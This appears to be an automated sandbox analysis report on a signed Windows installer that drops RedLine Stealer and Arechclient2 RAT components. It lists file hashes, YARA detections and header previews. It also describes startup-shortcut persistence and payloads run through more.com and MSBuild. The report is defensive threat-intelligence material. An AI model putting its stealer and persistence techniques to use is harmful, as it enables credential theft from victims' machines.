Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp

Download File

Process:	C:\Users\user\Desktop\9VbeqQbgU4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3699712
Entropy (8bit):	6.605047198768081
Encrypted:	false
SSDEEP:	98304:wJYVM+LtVt3P/KuG2ONG9iqLRQV333K0i:BVL/tnHGYiqlnt
MD5:	6AB2AF20157D2F440E8B22982F6247C5
SHA1:	53C0DA8DE2EE2C50B79913A876EDCD7078897566
SHA-256:	C95F668AB97A0C6650381E0FC1A93AA043E3F899EEF09DD7A3B0837A4298838E
SHA-512:	5ED8B96A65C44F7CAB604440F21B5E2F331C38D2E7CA3EBB26A9C1750AE5E5690225EC0F6530E6C65589DC639FCBCBF9AFA80E85881B6F731118D0089559CB6D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................@9...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\mebamtoyxy

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	786944
Entropy (8bit):	6.80933482022886
Encrypted:	false
SSDEEP:	12288:uvsXZv8km0OHcbGbvzWHz0HnquwMr+g0ssFWylkkoAbtEgIwfNqbYS2VbICKMIUx:ZfPz0HvSg0ssFlSjBcT
MD5:	2B209F07C6251E367835FBF30E7C348E
SHA1:	CD5534D4871AEBA9351941CF548B2E63F492A609
SHA-256:	A499ADF007DF84FC58178A1FD861138C078731760BEA948501259C8E83E19783
SHA-512:	95FE64D09AD91A8DB600969279834E8EF6BBC2371FE3AFDD3D88F351CDDC858A4B247BCBAE1D4351914E0AB720D9372E342E2513C68D64086AFC7C388FC0678D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\mebamtoyxy, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\mebamtoyxy, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: C:\Users\user\AppData\Local\Temp\mebamtoyxy, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....O................................. ........@.. .......................`..............................................T...W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......L....>..........T...@............................................0............. ....X..%-.&sp...sq...}-..... ....Y.~-.....UY.).... .....7...%.....~,.....[Y.)....sr...~-.....TY.)....os.........%.~t.... ....X~t.... ....X~t.... ....X(.....%.~-.....SY.)......~-.....RY.)....~0...%-.&~/.........su...%.0...(...+}.....0........... ....X..{M.....0............(..... .p..Y. ...@\...\a..Z3.+.~t.... .M..X+2~...... ....^ ...l_.3.+. 4.rc H:;..+.~t.... ...X..#.......@. ..... ....\

C:\Users\user\AppData\Local\Temp\sfaldnatxf

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Nov 28 08:05:17 2024, mtime=Thu Nov 28 08:05:20 2024, atime=Sun Nov 24 06:49:08 2024, length=10115160, window=hide
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.96057553086221
Encrypted:	false
SSDEEP:	12:8mgUjslcc4IN+2ChD7i1Y//YsH0LS/hc9BhH+x/LjAFNHSGkXg1MJcKTth+fafzS:8mgsslgN2O79nHWqDx3ANo+uL+faftm
MD5:	309517199CD626D45A4D37C182FECCA0
SHA1:	152C274E040E32AB20CAFD2720A54D605A6C3927
SHA-256:	DF25F2A18AE0D272BBAF32340C263F9D1B3969E23020FCB4643B9A71D22748D0
SHA-512:	8E5A8AC12F697D01DBF4A9C56F4E61B30D460F2A2DA13182B68B500AA5B5403E52B163AE9DEEC8FC29C233F4D4B014A3EB38D36971A540BBECCE91B5DA4CAF12
Malicious:	false
Preview:	L..................F.... ....+..tA..i.m.tA.....WE>..XX........................:..DG..Yr?.D..U..k0.&...&......Qg._.....D.tA..oe..tA......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=\|Y.H..........................3N.A.p.p.D.a.t.a...B.V.1.....\|Y.H..Roaming.@......EW.=\|Y.H...........................3?.R.o.a.m.i.n.g.....J.1.....\|Y.H..sto.8......\|Y.H\|Y.H.....M.....................w&.s.t.o.....Z.2.XX..xY$> .coml.exe..B......\|Y.H\|Y.H.....M........................c.o.m.l...e.x.e.......^...............-.......]............r.......C:\Users\user\AppData\Roaming\sto\coml.exe..2.....\.....\.....\.....\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.s.t.o.\.c.o.m.l...e.x.e.`.......X.......116938...........hT..CrF.f4... .`.n.g....,......hT..CrF.f4... .`.n.g....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Local\Temp\tmp6AE5.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6B44.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6B54.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6B65.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT3EC5.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Nov 28 08:05:17 2024, mtime=Thu Nov 28 08:05:20 2024, atime=Sun Nov 24 06:49:08 2024, length=10115160, window=hide
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.96057553086221
Encrypted:	false
SSDEEP:	12:8mgUjslcc4IN+2ChD7i1Y//YsH0LS/hc9BhH+x/LjAFNHSGkXg1MJcKTth+fafzS:8mgsslgN2O79nHWqDx3ANo+uL+faftm
MD5:	309517199CD626D45A4D37C182FECCA0
SHA1:	152C274E040E32AB20CAFD2720A54D605A6C3927
SHA-256:	DF25F2A18AE0D272BBAF32340C263F9D1B3969E23020FCB4643B9A71D22748D0
SHA-512:	8E5A8AC12F697D01DBF4A9C56F4E61B30D460F2A2DA13182B68B500AA5B5403E52B163AE9DEEC8FC29C233F4D4B014A3EB38D36971A540BBECCE91B5DA4CAF12
Malicious:	false
Preview:	L..................F.... ....+..tA..i.m.tA.....WE>..XX........................:..DG..Yr?.D..U..k0.&...&......Qg._.....D.tA..oe..tA......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=\|Y.H..........................3N.A.p.p.D.a.t.a...B.V.1.....\|Y.H..Roaming.@......EW.=\|Y.H...........................3?.R.o.a.m.i.n.g.....J.1.....\|Y.H..sto.8......\|Y.H\|Y.H.....M.....................w&.s.t.o.....Z.2.XX..xY$> .coml.exe..B......\|Y.H\|Y.H.....M........................c.o.m.l...e.x.e.......^...............-.......]............r.......C:\Users\user\AppData\Roaming\sto\coml.exe..2.....\.....\.....\.....\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.s.t.o.\.c.o.m.l...e.x.e.`.......X.......116938...........hT..CrF.f4... .`.n.g....,......hT..CrF.f4... .`.n.g....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coml.lnk (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Nov 28 08:05:17 2024, mtime=Thu Nov 28 08:05:20 2024, atime=Sun Nov 24 06:49:08 2024, length=10115160, window=hide
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.96057553086221
Encrypted:	false
SSDEEP:	12:8mgUjslcc4IN+2ChD7i1Y//YsH0LS/hc9BhH+x/LjAFNHSGkXg1MJcKTth+fafzS:8mgsslgN2O79nHWqDx3ANo+uL+faftm
MD5:	309517199CD626D45A4D37C182FECCA0
SHA1:	152C274E040E32AB20CAFD2720A54D605A6C3927
SHA-256:	DF25F2A18AE0D272BBAF32340C263F9D1B3969E23020FCB4643B9A71D22748D0
SHA-512:	8E5A8AC12F697D01DBF4A9C56F4E61B30D460F2A2DA13182B68B500AA5B5403E52B163AE9DEEC8FC29C233F4D4B014A3EB38D36971A540BBECCE91B5DA4CAF12
Malicious:	false
Preview:	L..................F.... ....+..tA..i.m.tA.....WE>..XX........................:..DG..Yr?.D..U..k0.&...&......Qg._.....D.tA..oe..tA......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=\|Y.H..........................3N.A.p.p.D.a.t.a...B.V.1.....\|Y.H..Roaming.@......EW.=\|Y.H...........................3?.R.o.a.m.i.n.g.....J.1.....\|Y.H..sto.8......\|Y.H\|Y.H.....M.....................w&.s.t.o.....Z.2.XX..xY$> .coml.exe..B......\|Y.H\|Y.H.....M........................c.o.m.l...e.x.e.......^...............-.......]............r.......C:\Users\user\AppData\Roaming\sto\coml.exe..2.....\.....\.....\.....\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.s.t.o.\.c.o.m.l...e.x.e.`.......X.......116938...........hT..CrF.f4... .`.n.g....,......hT..CrF.f4... .`.n.g....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Package.zip

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4317942
Entropy (8bit):	7.996969026924128
Encrypted:	true
SSDEEP:	98304:ZVVtbM83oo5aIvS5UO6eoVRi9nrVbfdGPc3xz+l:fVtbMKogaIvS5lX/GMo
MD5:	E2066AE0BE02DB87EC6267234B0EA65A
SHA1:	24E0B6E9FC90F9B673F1D7FE17D920BD857C776F
SHA-256:	A42611665806C5056FAF4D5CFEADF98878D8132243B2097EF13BA7FCFAB22C0B
SHA-512:	78AB67E046D3CD93EA18CBC6E0399232458EB71E3879DFAAB7163F6A230CCA2ADA609AF6BCC92685E1BF2C9B7EBF2B66AF4CE68C581678421B6B635E2D7572B9
Malicious:	false
Preview:	PK........$.xY..'T`.A.XX......dobi.exe.\yp..y........#..8.S...DQ.l../...5....X.........Z..$......&-c.1..f...L8...._...S.[....=.L.0I.(......=...\|..i.}..~........e......T.X..D.&....6......+...._.ei)6....jnFM...-\|N...l..Mjx"..h....8\|D......Z...4C...P+..s..<z.^.z.3.?.#cT...yAb....,.&\|...T3.2.y3v..0...s...(.:..E........<.4L....9....e.<....'_......9.o..[5eAC.o.=b..}..A&O.&.Z......H....#D....z.P..N..L.B...6.o.4\|.at==k.K........p.St1#.(.z...M..et..0?2.e.z.j...[....x...M.t.......u.&..7..>E}.G.......#c..&&..U..."...5...rB......e.D..... .o_"SP<1...](h..2...l!.=.P.6%cV...~..yn.W.:I.........@V..R.t.._...D&........C,eFQ.X........)f...@..95i./L...Lg...!S.2..o..4....A."......Ib`....%W3....,Q.U..Nh....0'.kT.h.sA3f.!..Kgg2......{.4...I..ic.=..."........_S.....Jv..G.-.zo...c...#..H}s@.....1...O....O....w.q...t@\m.0..M......D.AS.v..n0........n.0.k...4`K..6...c.+.>..a1.....O.....z.F.#.E`m....^P.x\.4.......&.I..W.q.............,.M&.zo...@...-..E.z..:.

C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10115160
Entropy (8bit):	6.457193310384772
Encrypted:	false
SSDEEP:	98304:RkLpZuLG6phE8B5ICZu0yYfq3TTLJB7foR:6Lp4GeENIKYR
MD5:	A439025E40533F6E78C74FE8E9CE9875
SHA1:	6AE40C35D089FD05B521AFFDA29C205EFFDF9928
SHA-256:	A15DDD90E6AD35FC8896D7D613D0D178BDC29A9353128E6B5B4E177ABCB8195F
SHA-512:	A2E22C32A1B6C50CFEF234A7FE9581DF516D3B7129645D64FFB16652A4DC757294AA5CCDAE2A3C1A530C71251ABEEB73356CA4F6B33B73FDD7CAC2161A16D84B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7........................................................................................................................................PE..d......g..........".......^..j;......\|].......@...........................................`..........@............... ...............0k.......j.$L... u.S.'.. p.h....(..X0...`k.H............................Pk.(...................X.j.......k......................text.....^.......^................. ..`.data.........^.......^.............@....bss....XX...`h..........................idata..$L....j..N...Jh.............@....didata.......k.......h.............@....edata.......0k.......h.............@..@.tls.........@k..........................rdata..m....Pk.......h.............@..@.reloc..8....`k.......h.............@..B.pdata..h.... p......pm.............@..@.rsrc...S.'.. u...'..pr.............@..@.....................V..............@..@

C:\Users\user\AppData\Roaming\sto\BIT3445.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10115160
Entropy (8bit):	6.457193310384772
Encrypted:	false
SSDEEP:	98304:RkLpZuLG6phE8B5ICZu0yYfq3TTLJB7foR:6Lp4GeENIKYR
MD5:	A439025E40533F6E78C74FE8E9CE9875
SHA1:	6AE40C35D089FD05B521AFFDA29C205EFFDF9928
SHA-256:	A15DDD90E6AD35FC8896D7D613D0D178BDC29A9353128E6B5B4E177ABCB8195F
SHA-512:	A2E22C32A1B6C50CFEF234A7FE9581DF516D3B7129645D64FFB16652A4DC757294AA5CCDAE2A3C1A530C71251ABEEB73356CA4F6B33B73FDD7CAC2161A16D84B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7........................................................................................................................................PE..d......g..........".......^..j;......\|].......@...........................................`..........@............... ...............0k.......j.$L... u.S.'.. p.h....(..X0...`k.H............................Pk.(...................X.j.......k......................text.....^.......^................. ..`.data.........^.......^.............@....bss....XX...`h..........................idata..$L....j..N...Jh.............@....didata.......k.......h.............@....edata.......0k.......h.............@..@.tls.........@k..........................rdata..m....Pk.......h.............@..@.reloc..8....`k.......h.............@..B.pdata..h.... p......pm.............@..@.rsrc...S.'.. u...'..pr.............@..@.....................V..............@..@

C:\Users\user\AppData\Roaming\sto\coml.exe (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10115160
Entropy (8bit):	6.457193310384772
Encrypted:	false
SSDEEP:	98304:RkLpZuLG6phE8B5ICZu0yYfq3TTLJB7foR:6Lp4GeENIKYR
MD5:	A439025E40533F6E78C74FE8E9CE9875
SHA1:	6AE40C35D089FD05B521AFFDA29C205EFFDF9928
SHA-256:	A15DDD90E6AD35FC8896D7D613D0D178BDC29A9353128E6B5B4E177ABCB8195F
SHA-512:	A2E22C32A1B6C50CFEF234A7FE9581DF516D3B7129645D64FFB16652A4DC757294AA5CCDAE2A3C1A530C71251ABEEB73356CA4F6B33B73FDD7CAC2161A16D84B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7........................................................................................................................................PE..d......g..........".......^..j;......\|].......@...........................................`..........@............... ...............0k.......j.$L... u.S.'.. p.h....(..X0...`k.H............................Pk.(...................X.j.......k......................text.....^.......^................. ..`.data.........^.......^.............@....bss....XX...`h..........................idata..$L....j..N...Jh.............@....didata.......k.......h.............@....edata.......0k.......h.............@..@.tls.........@k..........................rdata..m....Pk.......h.............@..@.reloc..8....`k.......h.............@..B.pdata..h.... p......pm.............@..@.rsrc...S.'.. u...'..pr.............@..@.....................V..............@..@

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9987383339402784
TrID:	Win32 Executable (generic) a (10002005/4) 98.45% Inno Setup installer (109748/4) 1.08% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	9VbeqQbgU4.exe
File size:	87'653'216 bytes
MD5:	a91b4875630c4f702ab63f94ed633da4
SHA1:	d485e90a501aa11f89f684063e5fbe235937f0bf
SHA256:	d864a359e3a19182e72109fe75408d21b10215938e8be4098c4dbbc8ce0b7c7c
SHA512:	43e4a19efcb814ae3b418177679fb52d257fd9046b6ac4baaea2fdfecb8627bc80ecdfc8288139d669e639c748f63c043d5b6997147b580d64bab3518524b460
SSDEEP:	1572864:ZyM8TruaFhFBQ4aidylq1RFVKl8J/1BbAYqnmy2QPz2Pt0BQGRClJygc:ZyMAeiTFny2ezE0QGiJygc
TLSH:	5A18334756CB857BEC2E0B364561E1F294FB1E66B0975EA393F034E9CD320A46C2E613
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	176169eccc6d3107

Static PE Info

General

Entrypoint:	0x4a83bc
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6690DABD [Fri Jul 12 07:26:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	40ab50289f7ef5fae60801f88d4541fc

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	06/06/2024 02:52:51 07/06/2025 02:52:51
Subject Chain	CN="Hebei Qianyuan Biopharmaceutical Co., Ltd.", O="Hebei Qianyuan Biopharmaceutical Co., Ltd.", STREET="South of Xiangtong Village, Nanlou Township, Zhengding County", L=Shijiazhuang, S=Hebei, C=CN, OID.1.3.6.1.4.1.311.60.2.1.1=Shijiazhuang, OID.1.3.6.1.4.1.311.60.2.1.2=Hebei, OID.1.3.6.1.4.1.311.60.2.1.3=CN, SERIALNUMBER=91130123MA09YCKA2U, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	471800388AAA9103A74D65E746957952
Thumbprint SHA-1:	F2EA1DD98D1AF0F9044C24B266475A5C61C6A658
Thumbprint SHA-256:	FF7A3EBC344477D9ADDC06569B913E13D5C9203193B34CCBADBEE3C7D116D846
Serial:	3790CF6A4249C71C54A5D812

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004A2EBCh
call 00007F2BE4AFA1F5h
xor eax, eax
push ebp
push 004A8AC1h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004A8A7Bh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004B0634h]
call 00007F2BE4B8BB7Bh
call 00007F2BE4B8B6CEh
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F2BE4B863A8h
mov edx, dword ptr [ebp-14h]
mov eax, 004B41F4h
call 00007F2BE4AF42A3h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004B41F4h]
mov dl, 01h
mov eax, dword ptr [0049CD14h]
call 00007F2BE4B876D3h
mov dword ptr [004B41F8h], eax
xor edx, edx
push ebp
push 004A8A27h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F2BE4B8BC03h
mov dword ptr [004B4200h], eax
mov eax, dword ptr [004B4200h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F2BE4B928EAh
mov eax, dword ptr [004B4200h]
mov edx, 00000028h
call 00007F2BE4B87FC8h
mov edx, dword ptr [004B4200h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xb7000	0x71	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb5000	0xfec	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcb000	0x69c1c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x5395178	0x29e8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xba000	0x10fa8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb9000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb52d4	0x25c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xb6000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa568c	0xa5800	b889d302f6fc48a904de33d8d947ae80	False	0.3620185045317221	data	6.377190161826806	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xa7000	0x1b64	0x1c00	588dd0a8ab499300d3701cbd11b017d9	False	0.548828125	data	6.109264411030635	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xa9000	0x3838	0x3a00	5c0c76e77aef52ebc6702430837ccb6e	False	0.35338092672413796	data	4.95916338709992	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xad000	0x7258	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xb5000	0xfec	0x1000	627340dff539ef99048969aa4824fb2d	False	0.380615234375	data	5.020404933181373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xb6000	0x1a4	0x200	fd11c1109737963cc6cb7258063abfd6	False	0.34765625	data	2.729290535217263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xb7000	0x71	0x200	7de8ca0c7a61668a728fd3a88dc0942d	False	0.1796875	data	1.305578535725827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xb8000	0x18	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xb9000	0x5d	0x200	d84006640084dc9f74a07c2ff9c7d656	False	0.189453125	data	1.3892750148744617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xba000	0x10fa8	0x11000	a85fda2741bd9417695daa5fc5a9d7a5	False	0.5789579503676471	data	6.709466460182023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xcb000	0x69c1c	0x69e00	f6d14f45f8145bc951e2271802a63aca	False	0.38513457423258557	data	6.12883713458275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
